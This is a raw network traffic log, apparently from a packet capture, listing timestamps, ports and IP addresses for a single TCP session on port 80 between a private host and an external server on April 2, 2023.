Apr 2, 2023 09:49:21.013540983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013614893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013664007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.013716936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.015944004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.015995026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016005993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016041994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016088009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016103029 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016135931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016223907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016251087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016271114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016318083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016324997 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016366959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016412973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016422033 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016458988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016505003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016510010 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016550064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016596079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016602993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016642094 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016688108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016695023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016733885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016778946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016789913 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016824961 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016870975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016880035 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.016916990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016963959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.016977072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017009974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017055988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017062902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017102957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017148018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017153025 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017193079 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017239094 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017242908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017282963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017328024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017340899 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017374992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017421007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017424107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017467976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017513037 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017528057 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017560005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017606020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017606974 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017651081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017699003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017720938 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017760992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017828941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017842054 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017894030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017941952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.017946959 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.017990112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018069029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018093109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018165112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018210888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018220901 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018277884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018342018 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018345118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018403053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018450022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018455982 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018511057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018563986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018579006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018641949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018687963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018708944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018758059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018802881 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018812895 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018857956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018907070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.018908978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.018955946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019015074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019026041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019092083 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019143105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019146919 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019188881 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019234896 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019236088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019283056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019326925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019329071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019377947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019423962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019426107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019483089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019547939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019551039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019612074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019664049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019675016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019741058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019793034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019798040 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019845009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019890070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019893885 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.019934893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019980907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.019998074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020024061 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020070076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020072937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020136118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020185947 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020200968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020256042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020302057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020308018 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020348072 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020395994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020421028 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020441055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020486116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020487070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020531893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020581961 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020596027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020663023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020716906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020718098 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020762920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020806074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020809889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020850897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020896912 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020905018 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020941973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.020987988 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.020992994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021063089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021109104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021128893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021181107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021229029 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021248102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021313906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021362066 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021364927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021413088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021466017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021471977 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021536112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021581888 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021601915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021709919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021760941 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021775961 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021825075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021869898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021878004 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.021923065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.021976948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022028923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022078991 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022084951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022119045 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022131920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022176027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022181034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022222042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022267103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022275925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022311926 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022358894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022387981 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022428989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022484064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022531986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022562981 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022579908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022599936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022628069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022676945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022685051 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022744894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022793055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022820950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022842884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022892952 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.022912025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.022978067 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023027897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023035049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023076057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023123026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023123026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023169994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023216963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023226023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023263931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023312092 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023345947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023379087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023427010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023437023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023473978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023488045 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023520947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023569107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023577929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023618937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023672104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023693085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.023720980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023768902 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.023778915 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.052630901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.052747011 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.717463017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746465921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746500015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746520042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746540070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746560097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746578932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746578932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746598959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746618986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746625900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746639013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746645927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746661901 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746664047 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746680975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746704102 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746710062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746728897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746748924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746767998 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746768951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746788979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746793032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746809959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746820927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746829987 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746850014 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746865034 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746869087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746887922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746907949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746927023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746927977 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.746944904 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.746961117 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.747746944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775583029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775609970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775630951 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775652885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775682926 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775743008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775760889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775779963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775793076 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775801897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775823116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775844097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775863886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775867939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775883913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.775891066 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775943041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.775990009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776015043 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776036978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776057959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776077986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776083946 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776098967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776108027 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776118994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776139021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776160002 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776165009 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776180983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776191950 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776204109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776225090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776235104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776247025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776267052 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776269913 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776285887 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776307106 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776326895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776346922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776367903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776372910 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776386976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776410103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776412964 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776429892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776449919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776452065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776469946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776482105 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776490927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776510000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776540041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776546955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776571035 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776585102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776604891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776626110 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776645899 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776667118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776685953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776689053 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:21.776699066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776719093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:21.776738882 CEST	80	49699	193.23.244.244	192.168.2.4
